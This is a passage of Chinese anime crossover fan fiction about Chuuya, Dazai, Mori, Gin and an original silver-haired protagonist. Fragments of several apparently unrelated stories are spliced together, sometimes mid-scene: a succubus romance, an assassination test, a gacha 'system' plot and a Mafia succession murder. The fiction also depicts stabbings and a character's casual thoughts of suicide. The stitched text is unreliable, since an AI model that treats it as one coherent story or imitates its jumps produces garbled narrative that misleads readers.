他愣愣仰头,跟自己的卡牌来了一个山与海之间的对视。 “你、你好高……”望月呆呆地说。 男人垂眸与他对视,静了片刻,俯身朝他伸出双手。 望月一愣,下一秒竟被掐着腰,直直抱了起来! 他不由地瞪大了眼。 望月瞬间被点燃,脸颊涨红着反驳道。 “噢~” 黑发恶魔故意拉长了声音,带着某种意味不明的意思在里头。 他又瞥了眼表情松了下来的中原中也,在心里叹了口气。 “算啦。” “既然是月酱不想回来的话。” 不是被人类囚禁起来就行。 朔月眯起眼睛。 他抱着自己的脑袋咧开了笑脸,露出尖尖的小虎牙。 “——反正只要月酱开心就好。” 第 99 章 中也线 既然望月觉得开心的话,那就呆在人界好了,大不了自己到时候来人界找他玩。 朔月在心中想到。 做恶魔嘛,当然是自己怎么爽怎么来。 望月缓慢地眨了下眼睛。 随后傲慢地双手抱胸,抬起下巴对着面前的黑发恶魔得意洋洋地说道。 “哼,那还用你这家伙说吗。当然是吾辈怎么开心怎么来,人类世界这里有吃有喝有睡,还有仆人伺候着吾辈……” 哇塞,这不就是完全被饲养的状态吗。 “进去后直走,最里面的房间。”琴酒踩下刹车,冷冰冰地说道。 水原秋微微颔首,表示自己知道了。 两人都没说多余的话,琴酒把人送到,水原秋下车,进入面前这间小巧精致的洋房。 琴酒依旧坐在驾驶座,他看着水原秋一言不发离开的背影,不爽地“啧”了一声。 以前,那位先生都会要求他跟着一起进,在旁监视新人。 这还是第一次被提前喝令不准靠近。 ……BOSS做的太明显了。 这是要他跟水原秋对立。 琴酒抖了抖烟盒,咬着香烟滤嘴,用车载点烟器点燃香烟,深深吸了一口。 一个烟圈被缓缓吐出,倏然散开成白茫茫的烟雾,模糊了银发男人的冷脸。 琴酒见过水原秋很多次。 水原秋最初从外围成员升为内部成员时,就是由琴酒审核通过的。 琴酒给他派遣过许多次任务,水原秋次次都能出色的完成。 琴酒其实很欣赏水原秋,一度升起把人调到自己手下的心思——事实上,他的确在这么做了,只不过向BOSS递交的申请被打了回来。 最近几年,琴酒私下里的提议被BOSS驳回的次数越来越多。琴酒多少都能猜测到BOSS的心思,无非就是他没有朗姆好掌控,BOSS起了忌惮的心。 明面上,乌丸莲耶一如既往地表露着对琴酒的爱重和信赖。这其中有多少水分,唯有乌丸莲耶自己知道。 琴酒又吸了一口烟,眉宇间满是烦躁。 ** 水原秋敲了两下门,得到“进来”的许可后,推门而入。 房间中央的椅子上,坐着一个披了黑袍的男人。 “水原秋,到我面前来。”那个男人开口说道,他的嗓音很奇怪,看似与常人无异,话语间却藏着“滋啦”和无法调节的机械感。 是变声器。 水原秋一秒判断出来。 “是,先生。”水原秋上前两步,面对着乌丸莲耶单膝跪下,低垂着头颅,一举一动皆是忠诚与恭敬。 男人:“起来吧。” 水原秋站起身,视线飞快自下而上扫过,眼眸不含一丝情绪波澜,仿佛只是无比寻常的一眼。 他心里有点遗憾。 不是真人,那就不能动手了。 果然,直接把BOSS干掉的省事想法是行不通的。 水原秋再度潜伏起来,将野心压下。 乌丸莲耶并不知道自己的假人差点当场下黄泉。 坐在椅子上的当然不可能是乌丸莲耶本人,而是一个仿真假人。假人的脖子绑了发声器,眼睛的地方是监视器。 乌丸莲耶正在遥远的地方,透过监视器,注视着水原秋。 他与水原秋说了几句话,问了些问题。大多都是打探水原秋的身世背景、交际圈、忠诚程度。 水原秋滴水不漏地答完了。 不算长的谈话最后,乌丸莲耶说:“我对你很满意,水原秋,因此想要赐予你代号。” 水原秋:“这是我的荣幸。” 乌丸莲耶:“你是否有属意的酒名?”他仿佛意味深长地说:“在组织里,没有酒名只能归属一人的说法。前一任死了,后一人会继承前者的酒名。” 假人喉间的发声器宛如诱人前往地狱的魔鬼,缓缓道:“如果你有什么喜欢的名字,可以告诉我……这是我给你的奖励。” 或许是那用特定韵律说出来的话,的确容易引发人内心的恶念。 水原秋低垂着眼睫,沉默了许久。 乌丸莲耶催促道:“选好了么?” “是的,先生。” 水原秋很慢地呼出一口气,眸色有一刹那极为深沉。他轻缓地眨了一下眼,那点波动立刻就消失不见了。 沉沉地,只藏在心里。 乌丸莲耶问:“你选择了什么代号?” 他做好了听到“GIN”的准备,甚至想好了要怎样虚伪地安抚水原秋,再挑拨一下,鼓动他去针对琴酒。 哪知,黑发男人却淡淡道:“我为自己选定的代号是‘格兰威特’(Glenlivet)。” 乌丸莲耶卡了一下,没料到他会这样不按套路出牌。 “……为什么是这款酒?”乌丸莲耶问:“金酒(Gin)不符合你的口味吗?” 水原秋平静道:“我的酒量尚浅,金酒口感浓烈辛辣,并不是现在的我能够喝下去且不醉死的。格兰威特虽说更加柔和,回味却无穷,也不会伤着喝酒的人。” “请您成全。” 乌丸莲耶听完,大笑起来。 “好!好!”他对水原秋的满意从七分到了十分,愉悦道:“你的代号,就定为格兰威特!” “十分感谢您的慷慨。”水原秋微微鞠躬。 乌丸莲耶说:“最后一个任务,完成后,你就能够拥有这个代号了。” “是。” “去吧,格兰威特。别让我失望。” “是,先生。” …… 水原秋躬身退出房间,头也不回地大步离开。意料之外的是,琴酒的保时捷356A并未离开,还停在原地。 水原秋在车边停住脚步,几秒后,驾驶座的车窗降下。 “上车。” 琴酒依旧是那副随时随地要杀人的冷脸模样,说:“我已经接到了先生的邮件,取得代号前的最后一个考核任务,由我监督。” 水原秋拉开后座的车门,坐了进去。 “任务是什么?” 琴酒:“当场杀死一位官员,他的政见主张对我们不利。” 水原秋低头查看手机上的任务细则,看完,颔首:“好。” 男人面色淡漠,就像他即将杀死的不是一个活生生的人,而是一只鸡。 但,正是这样的人,才能在组织有立足之地。 琴酒在半途停车,伏特加早早就等在路边,火速接过开车的任务。 琴酒本人则坐进另一边的后座,他不可能去坐副驾驶,那等于是把自己的后背时时刻刻暴露给水原秋。 保时捷再度平稳启动。 车内安静了一会儿,琴酒点燃了今日的第二根烟。 “新代号是什么?”他问。 水原秋道:“格兰威特。” “又是一瓶威士忌……”琴酒嗤笑:“我还以为等你出来,我就得改名了。” 驾驶座的伏特加僵住了。 水原秋淡淡道:“GIN只会有一位。” “在他面前,你也是这样回答的?”对这点示好,琴酒十分不屑。 “过程不重要,结果才是最重要的。”水原秋毫不在意琴酒的冷淡,用比他还冷的语气回敬后,就再也不出声了。 他本就寡言,能说这么多话,已经很给琴酒面子。 琴酒冷着脸,也没有搭话的意思。 车内的空气仿佛都被两人的冷气冻结了。 前座的伏特加握着方向盘,脊背冒出冷汗,整个人都快要窒息了。 但他不敢出声,只能把油门又往下踩了踩。 拜托了,快点到目的地吧! 后座。 水原秋凝望着车窗外一闪而过的灌木丛,绿叶上绽放了几朵花苞,街边的水果摊上摆放着不同种类的水果。 格兰威特,单一麦芽威士忌。它以优雅馥郁、橡木香及果味著称,进入唇中,以水果的柔顺甜美为始,以生姜的辛辣收尾,苦甜交织,回味无穷。* “……” 水原秋抬手拂过衣袖,他身上穿着的是夹克外套,而非那件黑色大衣。 还好没穿。 不然要是溅到了血,又要洗很久。 ** 最后一场模拟考结束,放学的时候,窗外下起了毛毛雨。雨丝很细,几乎可以忽略不计。 望月没带伞,左右张望了一下,同学们大都没撑伞,用手掌或书包遮一下就当挡雨了。 望月有样学样,拿起书包撑在头顶,小跑着回家。 雨不大,可到家的时候,他的肩膀还是湿了大片。 望月对自己的身体素质非常有数,不敢耽搁,连忙脱下湿衣物,进浴室洗了一个热水澡。 浴室门乍一打开,水果和花香的芬芳便扑面而来,浓厚馥郁。 望月习惯了用这款沐浴露,一点儿反应都没有,丝毫不知道自己被香气包裹着。 他还自觉地泡了一杯驱寒的姜茶,慢吞吞地喝着。 这时候,他才注意到自己的沐浴香味和姜茶融合起来了。 又苦又甜的。 望月皱着脸,一口气把剩下的姜茶喝完,小猫一样被辣得吐了吐舌头。 他把茶杯洗干净,在家里转了两圈。 下雨不能出门,做晚饭又太早了,前阵子学习太猛,刚考完不想碰书本。 望月纠结片刻,愉快地决定:“去看看马甲们的近况叭!” 首先,当然是最关注的秋先生。 望月缩在被窝里,闭上了眼睛——让本体在沉睡状态下操纵马甲,会更省力。 望月的精神力顺着两人之间的链接,意识连上了【水原秋】的身体, 下一秒。 腥臭扑面而来,几滴鲜血飞溅到他的面颊上。一个男人捂着脖子也挡不住涌出的血液,他双目圆睁,往后倒下,死不瞑目。 望月感觉到手里正握着一把匕首,刀锋染血,滴答滴答地往下滴着血珠。 “格兰威特,做的很好,这样你的考核就通过了。”不远处,一个男人扬声说道。 望月下意识偏头望去,认出了伏特加的脸。 ——秋先生是在任务途中么? 望月只分神了一瞬,就被人强行“挤”下线,失去了对身体的操纵。一双无形的手掌“蒙”住了他的感知,让他无法看见外界的情形。 【回去。】 在脑海里,传来了秋先生的话,语速很快。 随后意识到什么,又缓和下着急的语气,安抚道。 【我还在处理任务。这里脏,你别看。】 望月拥有身体的第一顺位操纵权。 这就像掌管身体行动的只有一个操纵台,只能有一个意识站在上面,不然就会左脚绊右脚,行动不畅,原地扑街。 但纵使水原秋夺回控制权,第一顺位依旧是望月,因为他才是主体。 望月可以轻而易举地夺回身体,水原秋抢不过他的,但他没有。 他微微怔松片刻,垂着眼退出了身体控制台,让给了水原秋。 原因只有一个: 望月听出来了。 水原秋不希望他沾血。 他的心脏怦怦跳动得厉害,耳朵微微泛红,带着一种烧灼感。 赭发青年沉默了一下,然后启唇。 “……望月。” “唔?” 望月正打着哈欠,经过刚刚的闹腾他都有些困了。 听到中也在喊自己,银发少年转过脑袋,紫水晶色的眸子略带困惑,望向对方。 赭发青年盯着自己,蓝眸明亮又认真。 “我有个礼物想要送你。” 第 100 章 中也线 “礼物?” 原本还在打哈欠的望月眨了眨眼睛。 身后的尾巴顿时高高地翘起,紫眸里冒起了闪亮的小星星。 说到这个他可就不困了! 银发魅魔忍不住凑近到中原中也的面前,尾巴左右摇晃着,一副谄媚又期待的样子。 “呐呐中也,是什么礼物呀?” “工|口漫画?情|趣衣?xp道具?还是神秘小玩具……呃,这个的话就算了,每次被玩到崩溃吾辈都吃不上一口。” 银发魅魔刚刚还想入非非的表情转而变得讪讪,挪开了自己的视线。 “铃铃铃——” 放学的钟声响彻帝丹高中,只消片刻,宁静的校园氛围便被学生喧闹嬉戏的声音打破。 日本一般在下午放学,剩余时间将会留给学生参加各种部活和社会实践,作为必修的学分之一。 望月在上了高一之后就加入了回家部,此时正拎着自己的书包,慢吞吞地离开教学楼。 他觉得自己混在学生堆里毫无违和感,除了走得慢一点,与其他人没什么区别。 落在他人眼里,却并不是这么回事。 这得归功于望月过于精致的眉眼,还有模特一样近乎完美的造型和身材比例。 细腻净白的肤色,五官在斑驳树影中越发明晰。刘海恰到好处,带着一点自然下垂的弧度。 鬓角的几缕墨色碎发随风轻轻扬起,连同少年翩飞的衬衫衣角、白色球鞋,恍惚间,少年感扑面而来。 可望月随意瞥过的一眼中,看似温和的黑眸却藏着拒人于千里之外的疏离淡漠。 大家都觉得这分明一位无人敢摘的高岭之花。 “高岭之花”本人正打着呵欠,神情隐隐带着几分疲惫,对周围人或明或暗投来的关注一点儿也不关心。 不,多少还是有点在意的。 说明他今天的发型不错——这是他用自己的马甲卡【精英造型师】,替本体剪出来的发型。 会受到关注,说明这张卡牌是正宗的托尼老师,有机会可以在东京开家发型店,小赚一笔。 望月一边想着,一边往校门口走。 望月藏着一个谁都不知道的秘密:他有一个金手指系统——虽然他并不想要这个系统。 望月是从三次元胎穿过来的,前十四年,他都没有发现任何不妥。直到十四岁那年,因目睹父母被卷入Mafia的斗争中惨死,才觉醒了前世的记忆。 他惊恐地发现自己一直生活在高危的综漫世界里,而且,他生活的地方正好是横滨! 那时,港口Mafia尚未稳定,武侦尚未崭露头角,各方势力你方唱罢我登场,横滨陷入混乱之中。 救! 看乐子怎么都好,轮到自己穿越,他只想有多远跑多远。 望月认为自己作为一个没有任何特殊能力的普通人,并不具备拯救世界的能力和毅力。 家里没什么亲戚,唯有表叔武田川吉不知从哪儿知道了望月父母双亡的事,火急火燎地赶来横滨,办完收养手续,就把人带回东京一起生活。 望月知道自己有几斤几两,最好就是当一个不引起主意的路人甲,从主角们的全世界路过。 虽说偶尔也会想和喜欢的动漫角色合影留念,但在警校组的毕业典礼上成功要到和大家的合照后,这点执念早已烟消云散。 他谨慎地活了十八年,却在生日那天被一个从天而降的系统打断了路人甲的进程! 当时,望月刚吹完生日蜡烛,脑子里就多了一道声音。 “宿主[望月]先生,您好,我是二次元金手指系统,代号2333。请问要和我签订契约吗?我可以帮助您在二次元的世界发光发热,梦想成真。” 四年前的望月或许会蠢蠢欲动。 四年后,亲眼见识过这个世界有多可怕的望月,只会果断拒绝:“我不愿意!快走!” 系统沉默两秒,当做没听见:“默认时间已过,强制绑定中。” 望月:??? 感受到一股陌生的能量急速涌入体内,脑袋胀痛,望月双眼一黑,直接气晕。 等再次醒来,木已成舟。解绑条件还很苛刻,只能捏着鼻子认了。 ** 系统2333对宿主的回忆表示抗议:“你分明是体虚,受不住绑定时的数据流才晕的,请不要赖到系统头上。” “就是被你气晕的。”望月坚定甩锅:“是你害我昏迷了两天,叔叔差点以为我要死了,至今还心有余悸。” 望月说完,安静了几秒。 系统:“请不要在心里辱骂系统。” 望月:“我没骂你。” 系统:“我不信。” 望月:“爱信不信,不信拉倒。” 系统:“……” 系统好声好气:“穿越时空很耗费能量的,我也是没办法才强制绑定。我们不是说好了吗?你帮我攒去其他世界的路费,我为你提供金手指,帮你实现心愿。等路费攒够,解绑条件达成,我们立刻好聚好散。” 望月十分鄙夷,系统真是有够无耻。 强买强卖不说,还一副大义凛然的样子。 系统的金手指就是抽卡,只不过抽出什么全部随机。可能是一张非常有用的道具卡或人物卡,也可能只是一双破袜子或者一枚游戏币。 抽卡要氪金,氪金的钱要人物卡赚的才算数。 与系统解绑的条件是:本体或至少三个马甲成功获得“无法取代之人”的称号。 望月至今没搞懂这个称号要怎么获取,而且他不可能亲身上阵,这太危险了。 换句话说,系统在逼他开马甲。 要不是开头送了个两个十连,在一堆臭袜子里保底出了一张商界精英人物卡,确保能有收入进展,望月估计要跟系统绑定一辈子。 非酋,就是这么痛。 望月长叹一声,系统常说是为实现他的心愿而来的,可他的心愿分明就是当一个平平无奇的路人甲。 道不同,不相为谋,系统这是何必呢! 搞得他连着好几个晚上开三个号,彻夜打工赚钱抽卡。精神力消耗过大,今天一整天都有点低烧。 望月精神不济,也懒得跟系统吵架。他耷拉着眉眼,打着呵欠,恹恹地越走越慢。 好累,要不就地躺倒,找个马甲过来把本体抱回家算了。 反正每个马甲的感知和本体不互通,本体就算烧成傻子,马甲也能身轻如燕、口舌如簧地出去跑业务。 望月正思考着安排哪个马甲过来接人,就听见有人隔着老远在喊他。 “望月——小望月!” 望月慢半拍地抬头。 那人箭步上前,在望月还没反应过来时,宽大的手掌已经覆上了少年的额头。 “天啊,你果然又发烧了。”留着半长头发的男人担忧地问:“感觉还好吗?” 望月眨了眨眼睛,看清了男人的脸。 “研二哥,你怎么来了?” “武田警部让我来的。”萩原研二答道,“你的老师发现你似乎生病了,打电话通知了他。但是武田警部临时有事走不开,就让我来接你。” 来人是萩原研二。 因为武田叔叔从前当过一段时间的警校教官,望月又进过几次警校找人,遇到萩原一行人好几次,一来二去便认识了。 顺带一提,武田川吉现在任职于东京警视厅警备部,算是萩原研二的上司。 “我开了车,先送你去医院。”萩原研二俯身就要背起望月。 望月被吓了一跳,连忙拒绝:“不用,我能走,真的。” 他试探道:“研二哥,我其实没有很难受。回家吃点药,休息休息就没事了,医院——”就不用去了吧。 萩原研二微微一笑:“嗯?” 望月:“……医院还是要去的。” 萩原研二:“你知道就好。” 去医院的路上,萩原研二开着车,还在絮絮叨叨:“小病不治会拖成大病。自从你半年前昏迷过一次,病就再也没好过,隔三差五就发烧感冒,这怎么行。” 男人很是担忧:“你真的做过全套检查了吗?医生怎么说。” 望月干笑两声:“医生说没有大事,好好休息……” 萩原研二拧着眉,百思不得其解。 “按理说,你不至于累到频频生病的地步啊。是学业太重了吗?还是……你晚上经常偷偷熬夜打游戏、看动漫?” 望月:“要是熬夜,我哪里瞒得过叔叔……” 萩原:“也是。” 萩原研二还在那里苦思冥想,望月一边感觉自己的身体温度节节升高,一边又忍不住分神谴责系统。 为什么过度劳累? 还不是系统的锅! 天天把一个人的精神力劈成好几份,彻夜不眠的打工赚钱,就算本体的身体有充足的睡眠,且“宿主的精神力非常优秀——系统语”,也扛不住被这样霍霍。 米花医院就没有几个医务人员是不认识望月的。他14岁时受了重伤,在医院住了快一年。刚出院没半年,又住了进来,跟着一起被送进来的还有萩原研二,两人同住一间病房。 两人的友情——一起挨长辈或松田阵平的骂——就是在住院期间培养起来的。 安稳没几年,今年又开始作妖,大病没有,小病不断。 这种丰功伟绩,基本传遍米花医院的所有科室。 护士长亲自过来,把望月给提溜走了。 望月在医院苦哈哈地挂着点滴,虽然有点发热,精神还算不错。随着药水注入体内,身体温度慢慢降下,他的思绪越发清晰,甚至想着找系统抽几张卡。 但转念一想,还没洗手,不敢抽。 遂放弃。 点滴打到一半,武田川吉匆匆赶来,他来的匆忙,连警服都没来得及换下。 武田川吉接过萩原研二递来的望月的药,仔细谢过他:“多谢,萩原,辛苦你了。” 萩原研二笑着摇摇头,送人来医院而已,这不算什么辛苦事。 “小望月,我先回去了。”萩原研二对望月挥挥手,“照顾好身体哦,药要按时吃。” “知道啦。”望月打着点滴不好挥手,便只点了点头。 只留下叔侄二人。 武田川吉揉了揉望月的头,倒是没说什么。医嘱之类的话,想必望月听的也不少。 望月靠在叔叔的肩上睡了一觉,醒来药水就打完了,两人一起回家,路上经过超市,武田还下车去买了点菜。 武田川吉作为一个单身汉,一直没有点亮厨艺技能,直到养了望月,才非常艰难地学会了一丢丢——能保证叔侄两人不会饿死或者被毒死。 望月看不过去,靠着两辈子的经验竟然自学成才,他的料理比武田做出来的好吃足足十倍。 但是他今天生病了,武田不会让他进厨房。 两人吃了一顿饿不死但也美味不到哪里去的晚饭,洗漱后各自回房。武田川吉还是没按捺住长辈的本能,压着人念叨了好几句,盯着望月把药吃完,才放他回去睡觉。 望月却没第一时间回卧室,而是拐去了卫生间,用香皂仔仔细细地把手洗了一遍。 回房后,把门锁紧。 他从口袋掏出三根香烟(从叔叔那儿偷来的),恭恭敬敬地摆在桌子上,面前放一只橘子(今晚超市买的)。 一切准备就绪。虽然望月进来的声音很小,但是太宰治将水杯扔出去后就一直盯着门口了。他知道自己睡前反锁了门,所以即使被掐着他也好奇地想知道望月会怎么进来。 会用他那似乎可以控制气流的异能搅碎房门吗?还是会直接不管他,任他死去呢……?唉,就算是他也不想这么莫名其妙地死去啊。 他眼也不眨地盯着门看,惊讶地发现门柄竟然化沙化了。 然后就是望月进来用手碰地上的水。 刹那间,地上的水液化做细长的绳索从望月手下延伸至男人后方,将压在太宰治身上陌生男人猛然勒住,强烈地窒息感令男人控制不住地松开了掐住太宰的手,他奋力扒着脖子上的东西,却只摸到了一手的水。 什么东西……无法阻止!? 太宰治看得更清晰,在空气重新涌进喉口时,他一边呛咳一边目不转睛地盯着男人的脖子看。不是用气流……!望月的异能还能控制水流!? 男人的脖子上面勒着一条透明的水液,无论他怎么拉扯也无法打断水液的收缩。 似乎想到了什么,望月忽然控制着水绳将男人甩向大开的窗户外,一声闷响下,骤然没有声息的男人被甩到了远处的街道上。 望月又控制着水绳关上窗户,很显然那个男人是从这里进来的。 他抬起地上触碰水液的手,摇摆的水绳便不受控制地化成水珠撒落在地。 缓步走到太宰治面前,望月伸手将他从地上扶起。 太宰治艰难地喘息:“望月,我这可都是因为你才会被攻击的。” “他是为了宝石来的?”望月瞬间就想到了,他之前穿着那一身宝石的时候确实有很多人盯上他了,他也做好了被袭击的准备,只是没想到被袭击的会是太宰。 “对呀,那个笨蛋把我认成你了,也可能是没想到这个屋子住了两个人吧……总之我差点就要被杀人灭口了,望月!”太宰治控诉地看着他。 “……” 望月默了默,太宰的确是被他牵连的。 太宰治的衣领在刚才挣扎的过程中散开了,露出了他像蛋糕上的奶油一样白皙细腻的肌肤和其上惨烈的掐痕。 原来睡觉的时候会把绷带解下来。望月垂下金眸,平静地想。 “我知道了。”他借着月光在床边找到了太宰治的绷带,将绷带塞到太宰治怀里,然后拉着他离开这间房。 “……?”太宰治抱着自己的绷带乖乖被他拉着,好奇他想干什么。 结果望月拉着太宰治打开他和芙芙的房间。 “芙?”芙芙睡眼蒙眬地抬头。 望月走过去摸着它的头说:“没事,已经解决了。” “以后太宰和我们一起睡。” “芙??” “欸!?”月光从窗外撒进房内,照出大床上团成一团的影子。 床上的一团拱来拱去,拱来拱去,最后受不了地掀了被子。 太宰治双目无神地坐起,完全睡不着! 陌生的环境,还有隔壁的隔壁那里的望月和芙芙,他目前好奇的目标。 说什么要成为承认的朋友才能知道他们的秘密,有这种想法真是天真啊,难道信任的朋友就不会背叛吗? 不可能的,无论什么到最后都会失去的…… 再次躺倒在床上,太宰治望着头顶的房梁出神。 咦?这里好像很适合上吊啊。 反正都很无聊,不如来自杀吧~ 太宰治愉悦地转动视线,在房内寻找可以充当上吊需要的绳索的工具。 当看到窗外时,他的视线忽地滞住。 啊嘞,他想要的是自杀,而不是他杀啊。 两道声音一同响起。 太宰治惊诧地望向望月:“你认真的么,我们一起睡?” 望月严肃地对系统说:“来吧。” 系统:“…………” 系统无语地打开了抽卡界面。 半空中展开了一道光屏,唯有望月能看见和触碰到。 上面显示: 【系统内置抽卡界面:内含人物卡和道具卡,等级从N到SSR,每十次保底必出一张SR卡,每一百次保底必出一张SSR卡,但不保证卡片类别。】 【抽一次】【抽十次】 【距离下次大保底:60/100】 【目前存有抽卡券:11张】 望月的手指悬停在“抽十次”上面,轻快一点,系统弹出确认框: 【是否消耗十张抽卡券进行抽卡】 【是/否】 在系统麻木的注视下,望月飞快点了“否”。紧接着,他以极快的速度不断循环“抽卡——否——抽卡——否”的操作。 足足十次之后,望月才以迅雷不及掩耳之势飞快确认抽卡。 一时间房内金光大绽。 望月痛苦闭眼,他不是被光闪到了,而是他抽卡又没出货。 十张卡,除了保底一张SR【人物卡·某公司社长】,其他全是没用的废牌。 光是游戏币就收到了足足四枚! 他又不是御坂美琴,给再多游戏币也没用啊! 还不如换成几枚一百円的硬币,起码能在自动售货机买几瓶波子汽水! 望月可怜地吸了吸自己的鼻子。 他的声音越来越小,如同蚊蚋一般微乎其微。 “吾、吾辈……” “反正吾辈才不会上当呢……” 中原中也忍不住轻笑了一声。 赭发青年垂下脑袋,珍重地亲吻上了对方的嘴唇,轻轻蹭了蹭。 这个吻带着并非情|欲的温柔与情意。 他的声音带着一丝沙哑,认真地说道。 “没关系。” “那我就一直说到你这笨蛋习惯为止好了。” “——做好觉悟吧。” 完结&番外 第 101 章 中也线 今天的横滨也是和谐的一天。 武装侦探社。 作为刚加入侦探社没多久的新成员,中岛敦正在整理着上周和这周的报告文件。 从一开始的生疏到熟练,花了他不少的功夫。 这都要多亏了太宰先生的帮助。 自己不可以辜负大家的好意,要更加努力地工作才行啊中岛敦。 正在中岛敦在心中给自己打气时,身后忽然响起少年清脆的声音。 “呐,敦你忙完了吗?” 他转过头,看起来和自己差不多大的银发少年反坐在太宰先生的椅子上。 “杀……杀……,我要把他们都杀了!”苍老削瘦的老人躺在床上,口中不断地重复这几句话。 床边的森鸥外恭敬地垂头听他讲话。 望月和太宰治站在窗边注视着他们,芙芙则有些不安地在望月怀里翻了翻。 “是,boss,”森鸥外噙着微笑答应,他手腕灵活地翻转出一把手术刀,将其轻轻地架在老人的脖子上。 “遵循您的命令。” 血液霎时喷洒而出,森鸥外带着脸上的血迹转头,格外具有压迫感的眼神在望月和太宰治之间转动。 已知望月君已经是他这这边的人了。 “首领因病猝死,留下了让我继位的遗言,”森鸥外的眼神最后停留在太宰治身上,“你是见证人,太宰君。” “……”太宰治沉默地和他对视视线。 “芙——!”倒是感受到森鸥外威胁的芙芙忍不住从喉口发出低吼声。 森鸥外抖着肩笑道:“芙芙别担心,我只是让太宰君做个见证而已,没有恶意的。” “森医生,”望月忽然开口,“你让太宰作为见证人这件事,本身就是恶意。 他们不一定会害太宰治的命,但一定会用尽手段让他改掉证词,让他否认首领传位森鸥外的遗言。这样就可以顺成章的推倒森鸥外。 所以太宰治是被森鸥外推出来的一张明牌,使所谓的首领遗言更有真实性、吸引反对者目光的一张牌。 但即使这不会让太宰治丧命,也能让他难受好一段时间。 望月不懂森鸥外为什么要这么做。 从昨晚森鸥外让太宰也跟着他们一起见首领时,他就感觉奇怪了,没想到是为了让太宰来当他的见证人。 望月难得带着不赞同地看向森鸥外:“森医生,这不是一个好决定。” “从感情上来看,我也不想让太宰君遇到危险的,但从利益上来说这已经是最优解了,望月君。”森鸥外耐心说道。 “既然已经决定步入里世界,那就要做好觉悟。从此以后,唯有利益才是永恒的。” 望月:“……” 他皱着眉看着侃侃而谈的森鸥外,手指不禁揪住芙芙的毛。 “没关系的,望月。”太宰治牵住他的手,将芙芙的毛解救出来。 “我不怕这些。” “说不定这还正是我期待的,让死亡来亲吻我吧。” “太宰……” “好吧,森先生,我尊重你们的选择。” 森鸥外挑眉,不叫他医生了啊。 如望月所料,当森鸥外召集会议向港口mafia的高层宣布首领的“遗言”时,果然有不少人跳出来反对。但由于很快就有五干部的尾崎红叶、大佐先生和广津柳浪站出来承认他,反对的人也只能捏着鼻子承认森鸥外成为新首领这件事。 而这场会议的另一个焦点自然就是被推出来的见证人太宰治了,许多对森鸥外继位感到不满的高层在临走前都记住了这个小鬼。 森鸥外则是在所有人都离开后,带着望月和太宰治来到了宽广的首领办公室,他透过顶楼巨大的落地窗看向外面:“这就是我所爱的城市啊,真美。” “爱丽丝,这里以后我们的地盘了哦~” “这地方好大!”金发女孩的身影在他身边逐渐浮现,她嘟着嘴撒娇:“森太郎现在是首领了,那爱丽丝以后要吃好多好多小甜点!” “嗨嗨嗨,我还会给爱丽丝买很多小裙子的~!” “林太郎,讨厌!你根本就是为了小裙子!” “没有啦,都是因为爱丽丝太可爱了嘛,所以才总是忍不住给你换小裙子的。” “啊,对了,太宰君,”森鸥外脸上还留着面对爱丽丝的温情模样,他转头对太宰治说:“太宰君不用担心,这段时间我会请人来教你体术的,这样面对危险你起码能有点自保能力了。” 太宰治用沉郁地鸢瞳看着他:“让我死掉的话更好吧?” “这样就不会有人拆穿你的谎言了。” 森鸥外笑容依旧:“太宰君你说笑了,我怎么会希望你死掉呢?” “我可是很喜欢你的。” 太宰治:“呕。” 森鸥外仿佛没被太宰治作呕的表情影响,他平静地转头问望月:“虽然望月君的异能很强大,但为了防止某些用不出异能的特殊情况,你也学一术吧?” 望月果断摇头:“不用了,森先生。” “望月和我一起学嘛,不然我一个人会很孤独的!”还没等森鸥外继续劝他,太宰治就抢先开口。 “……”看来不然太宰他们自己看到事实,他是很难解释自己的情况的,望月难得叹了口气,“好。” 太宰治不敢相信地凑近他:“望月刚刚是在叹气吗?” 这是他第一次见到望月露出这样的表情!望月竟然也会有为难的时候嘛?他还以为不管什么时候望月都会保持着那副对什么都不在乎的自傲模样呢。 突然就好好奇,望月为什么会对学习体术这件事感到为难。 望月甚至还很认真地回答他:“你没看错太宰,我刚刚确实在叹气。” “那你可以再表演一下么?” “……”跑到银行门口的时候太宰治突然停下了。 望月奇怪地问:“怎么了?” 太宰治眨了眨眼:“望月,我突然想起来,我们都是未成年欸,银行卡只能在监护人的陪同下补办。” 但是他和望月都是离家的小孩,目前能被称为监护人的好像只有森医生欸。 “只能监护人帮我办吗?”望月若有所思地垂下眼睛。 “我知道了。” “要找森医生过来吗?” 望月进入银行后凭着太宰治的嘴甜借到了电话,然后他拨打了一个号码。 太宰治的眼睛瞟到了,那是一个所属地为英国的号码。 ……英国,望月是从那么远的地方来的横滨吗? 电话很快就被接通了,那头传来了温和的男声:“喂?” 望月向对面的人简洁地解释了情况。 “丢了吗?”男声依旧温柔,“我明白了,稍等。” 那边似乎又拨打了一个电话,轻声说了几句。 然后他对说:“小望月,已经办好了。” 很快就有一个穿着工作服的姐姐递给了他们新的银行卡,露出着标准地微笑道:“这是您的银行卡,请收好。” 拿到新卡后,望月回复那边:“嗯。” 那边却犹似不放心地说:“要不再多给你几张卡吧?这样就算丢了一张也没关系。” “不用,已经够了。”望月拒绝了他。 “好,”对面也没再多说,“希望你能找到自己想要的。” 通话结束后,太宰治好奇地看向望月:“是你的家人吗?” 这么快就搞定了银行卡,对面肯定不简单。 望月思考了会回答:“……算是家人。” 啊……又有故事,神秘的芙芙,强大的异能,完全不了解外面世界的规则,还有算是家人的家人,望月身上的故事好多啊。 太宰治轻叹,真是太过分了,一个疑惑都还没解开就又出现新的疑惑。 太吊人胃口啦! 广津柳浪抬手轻松接住太宰治挥过来的拳头,又有另一只手推了推右边的单片眼镜:“太宰先生,你的力量太弱了。” “啊。”太宰治见还是无法攻击到广津柳浪后眼神就木了,接下来就是他被…… 虽然已经满天白发甚至连胡子都白了,但广津柳浪的一举一动都十分文雅,如果不提前知道他是个黑手党的话他看起来简直就是个优雅的绅士。只见他缓慢地抬起脚,然后猛地就太宰治踹飞了出去。 太宰治顺势生无可恋的躺在地上:“杀了我吧。”果然还是这样,这都已经是他不知道第几次被踹开了,每次袭击失败就会得到这样的后果,……广津老爷子真是老当益壮啊。 广津柳浪将双手背在身后,平静道:“好的,太宰先生今天就到这里吧。” “我大概知道你的进攻习惯了,明天会为你定制好训练计划的。” 然后他将头转向一直在站在一旁等待的望月:“接下来就是望月先生了。” 闻言,太宰治摇摇晃晃从地上爬起:“解脱了……” 他和望月交换位置,顺便接过递过来芙芙,他将脸埋在芙芙的长毛里,唯一露出来的眼睛一直停在望月身上。 望月淡定地走到广津柳浪面前。 广津柳浪也在细致地打量他:这是一直跟在首领身边的那一位,据说异能极为强大,曾多次救下首领,虽不知体术如何,但绝不是能轻视的存在,他也得更认真才行了。 